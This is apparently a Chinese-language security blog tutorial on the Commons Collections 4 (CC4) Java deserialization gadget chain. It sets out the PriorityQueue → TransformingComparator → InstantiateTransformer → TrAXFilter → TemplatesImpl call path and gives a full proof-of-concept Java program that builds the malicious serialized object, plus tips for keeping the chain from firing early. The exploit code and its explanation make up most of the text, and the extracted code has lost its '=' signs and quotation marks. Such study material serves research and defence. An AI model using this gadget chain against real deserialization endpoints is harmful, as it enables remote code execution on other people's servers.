环境配置java 8u65CommonsCollections 4.0dependency groupIdorg.javassist/groupId artifactIdjavassist/artifactId version3.22.0-GA/version /dependency dependency groupIdorg.apache.commons/groupId artifactIdcommons-collections4/artifactId version4.0/version /dependency我们前面分析过CC2和CC3CC4是CC2和CC3这两条链的结合就是CC3链换上了CC2的头可以看一下这三条链的利用链就不一步一步跟了把链接的地方跟一下CC2PriorityQueue.readObject() ↓ heapify() → siftDown() TransformingComparator.compare() ↓ ChainedTransformer.transform() ↓ InvokerTransformer.transform() ↓ 反射调用 Method → Runtime.exec() → RCECC3AnnotationInvocationHandler.readObject() ↓ invoke() LazyMap.get() ↓ ChainedTransformer.transform() ↓ InstantiateTransformer.transform(TrAXFilter.class) ↓ TrAXFilter 构造 → TemplatesImpl.newTransformer() ↓ defineClass(恶意字节码) → 静态代码块执行命令 → RCECC4PriorityQueue.readObject() -- 来自 CC2 ↓ heapify() → siftDown() TransformingComparator.compare() -- 来自 CC2 ↓ ChainedTransformer.transform() ↓ InstantiateTransformer.transform(TrAXFilter.class) -- 来自 CC3 ↓ TrAXFilter 构造 → TemplatesImpl.newTransformer() -- 来自 CC3 ↓ defineClass(恶意字节码) → 静态代码块执行 → RCEPOC我们先尝试把之前写的CC2和CC3直接拼接一下形成CC4的POCpayloadpackage CC4; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Modifier; import java.util.PriorityQueue; public class cc4 { public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException, NotFoundException, CannotCompileException, NoSuchMethodException, InvocationTargetException, InstantiationException { //构造恶意类TestTemplatesImpl并转换为字节码 ClassPool classPool ClassPool.getDefault(); CtClass ctClass classPool.getCtClass(CC4.TestTemplatesImpl); byte[] bytes ctClass.toBytecode(); //反射创建TemplatesImpl Class? aClass Class.forName(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl); Constructor? constructorTemplatesImpl aClass.getDeclaredConstructor(new Class[]{}); TemplatesImpl TemplatesImpl_instance (TemplatesImpl)constructorTemplatesImpl.newInstance(); //将恶意类的字节码设置给_bytecodes属性 Field bytecodes aClass.getDeclaredField(_bytecodes); bytecodes.setAccessible(true); bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes}); // 给 _tfactory 赋值 Field tfactoryField aClass.getDeclaredField(_tfactory); tfactoryField.setAccessible(true); tfactoryField.set(TemplatesImpl_instance, new TransformerFactoryImpl()); //设置属性_name为恶意类名 Field name aClass.getDeclaredField(_name); name.setAccessible(true); name.set(TemplatesImpl_instance , TestTemplatesImpl); // TemplatesImpl_instance.newTransformer(); // 初始化InstantiateTransformer对象利用它实例化TrAXFilter对象 // InstantiateTransformer instantiateTransformer new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{TemplatesImpl_instance}); // instantiateTransformer.transform(TrAXFilter.class); Transformer[] transformers new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{TemplatesImpl_instance}) }; ChainedTransformer chainedTransformer new ChainedTransformer(transformers); //TransformingComparator类的compare()方法调用了transform()方法 TransformingComparator transformingComparator new TransformingComparator(new ConstantTransformer(1)); //在add传值后如果会直接调用transformingComparator的compare方法所以先传一个随意值之后再通过反射传值 //PriorityQueue类的siftDownUsingComparator()方法调用了compare()方法即comparator.compare //PriorityQueue类的sifetDown方法调用了siftDownUsingComparator()方法只要comparator参数不为空就会调用sifetDown方法 //PriorityQueue类heapify()方法调用了sifetDown方法 //PriorityQueue类的readObject方法调用了heapify()方法,那么这个就是我们这条链的起点了 PriorityQueue queue new PriorityQueue(2); //heapify()方法需要size2即元素数量大于2但add方法会提前触发恶意链所以要通过后期反射给comparator传值 queue.add(1); queue.add(1); //设置comparator属性 Field fieldqueue.getClass().getDeclaredField(comparator); field.setAccessible(true); field.set(queue,transformingComparator); Field transformerField TransformingComparator.class.getDeclaredField(transformer); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer); //序列化 --- 反序列化 ByteArrayOutputStream barr new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object ois.readObject(); } }思路反序列化开始执行ObjectInputStream.readObject()进入PriorityQueue的readObject方法。PriorityQueue的readObject方法内部调用heapify()方法进行堆化。heapify()方法内部调用siftDown()方法。因为我们设置了 comparator 且不为 null所以siftDown()会继续调用siftDownUsingComparator()方法。siftDownUsingComparator()方法会调用比较器的compare()方法也就是我们构造的TransformingComparator的compare方法。TransformingComparator的compare方法会调用内部持有的transformer的transform方法这里的 transformer 是ChainedTransformer。ChainedTransformer会依次执行链上的两个 Transformer先通过ConstantTransformer得到TrAXFilter.class对象再将其传给InstantiateTransformer。InstantiateTransformer会使用构造参数实例化TrAXFilter也就是执行new TrAXFilter(templates)。TrAXFilter的构造方法内部会自动调用传入的TemplatesImpl对象的newTransformer()方法。TemplatesImpl的newTransformer()方法会加载并实例化我们设置的恶意字节码对应的类。恶意类被加载时静态代码块中的命令执行代码如弹出计算器被触发最终完成 RCE。注意事项主要有2个坑点一个是PriorityQueue queue new PriorityQueue(2);这里本来也是要直接传transformingComparator但是在add时会直接触发恶意链所以之后通过反射设置Field fieldqueue.getClass().getDeclaredField(comparator); field.setAccessible(true); field.set(queue,transformingComparator);还有一个是 TransformingComparator transformingComparator new TransformingComparator(new ConstantTransformer(1));这里我们本来要直接传值chainedTransformer但是在后面调用2个add后会直接触发他的compare方法所以之后通过反射传值Field transformerField TransformingComparator.class.getDeclaredField(transformer); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer);数据流图恶意类字节码 ↓ TemplatesImpl存储恶意类 ↓ TrAXFilter桥接TemplatesImpl与CC链 ↓ InstantiateTransformer实例化TrAXFilter ↓ ChainedTransformer串联执行 ↓ TransformingComparator提供compare触发点 ↓ PriorityQueue反序列化入口类 ↓ readObject() 反序列化 ↓ 自动执行 newTransformer() ↓ 加载恶意类 → 执行命令